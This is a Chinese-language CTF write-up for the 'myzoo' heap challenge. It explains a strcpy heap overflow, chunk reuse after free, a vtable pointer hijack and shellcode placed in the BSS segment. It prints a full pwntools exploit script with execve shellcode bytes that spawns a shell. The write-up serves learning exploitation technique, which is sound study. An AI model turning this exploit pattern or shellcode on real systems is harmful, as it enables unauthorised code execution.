0x01 写在前面
今天复现了安恒杯十一月赛的myzoo
题目,话说这次月赛全是堆题,刚好可以顺便学一波堆的知识点,如有错误欢迎大佬给予指正,感谢加比心ღ( ´・ᴗ・` )
0x02 开始复现
一上来查看保护,发现
image.png
之后用IDA查看程序,
image.png
发现是列表题,那么应该是堆上的漏洞,进一步查看发现在addBig
函数中,
image.png
image.png
这里的strcpy
函数会造成堆溢出,越界修改值,那么我们可以先申请两个chunk
,然后free
掉第一个chunk
,再次申请一个同一大小的chunk
,根据libc
的heap
分配机制,新申请的chunk
会占用原来的第一个chunk
的位置,紧接着利用strcpy
函数的越界写修改原来的第二个chunk
的虚表函数的地址,又发现程序一开始的输入的Name of Your zoo
会输入到BSS
段,然后我们可以将shellcode
写入BSS
段之后把虚表函数的地址劫持到shellcode
地址进而获取shell。
from pwn import *
import sys
context.log_level='debug'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./myzoo")
def addBig(name,weight):
sh.recvuntil("Your choice :")
sh.sendline("1")
sh.recvuntil("Name : ")
sh.sendline(name)
sh.recvuntil("Weight : ")
sh.sendline(weight)
def addFish(name,weight):
sh.recvuntil("Your choice :")
sh.sendline("2")
sh.recvuntil("Name : ")
sh.sendline(name)
sh.recvuntil("Weight : ")
sh.sendline(weight)
def listen_animal(index_of_animal):
sh.recvuntil("Your choice :")
sh.sendline("3")
sh.recvuntil("index of animal : ")
sh.sendline(index_of_animal)
def showinfo(index_of_animal):
sh.recvuntil("Your choice :")
sh.sendline("4")
sh.recvuntil("index of animal : ")
sh.sendline(index_of_animal)
def remove(index_of_animal):
sh.recvuntil("Your choice :")
sh.sendline("5")
sh.recvuntil("index of animal : ")
sh.sendline(index_of_animal)
name_addr=0x605420
main_addr=0x4018C8
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
sh.sendafter("Name of Your zoo :",'a'*8+p64(name_addr+0x10)+shellcode)
addBig("A"*8,'0')
addBig("B"*8,'1')
remove('0')
# gdb.attach(sh)
vptr=name_addr+8
addBig("A"*72+p64(vptr),'2')
listen_animal('0')
sh.interactive()
print(sh.recv())
image.png
0x03 未完待续&未解问题
这里面有两个小细节,一个是sh.sendafter("Name of Your zoo :",'a'*8+p64(name_addr+0x10)+shellcode)
这里为什么要填入目标函数的地址。另一个是addBig("A"*72+p64(vptr),'2')
为什么会产生0x72的填充。这两个前者是因为虚表函数的结构,后者是因为两个chunk
中间产生了未释放的空间。明天再了解了虚表函数的结构以及更深入的了解了libc
的heap
分配机制后再更新~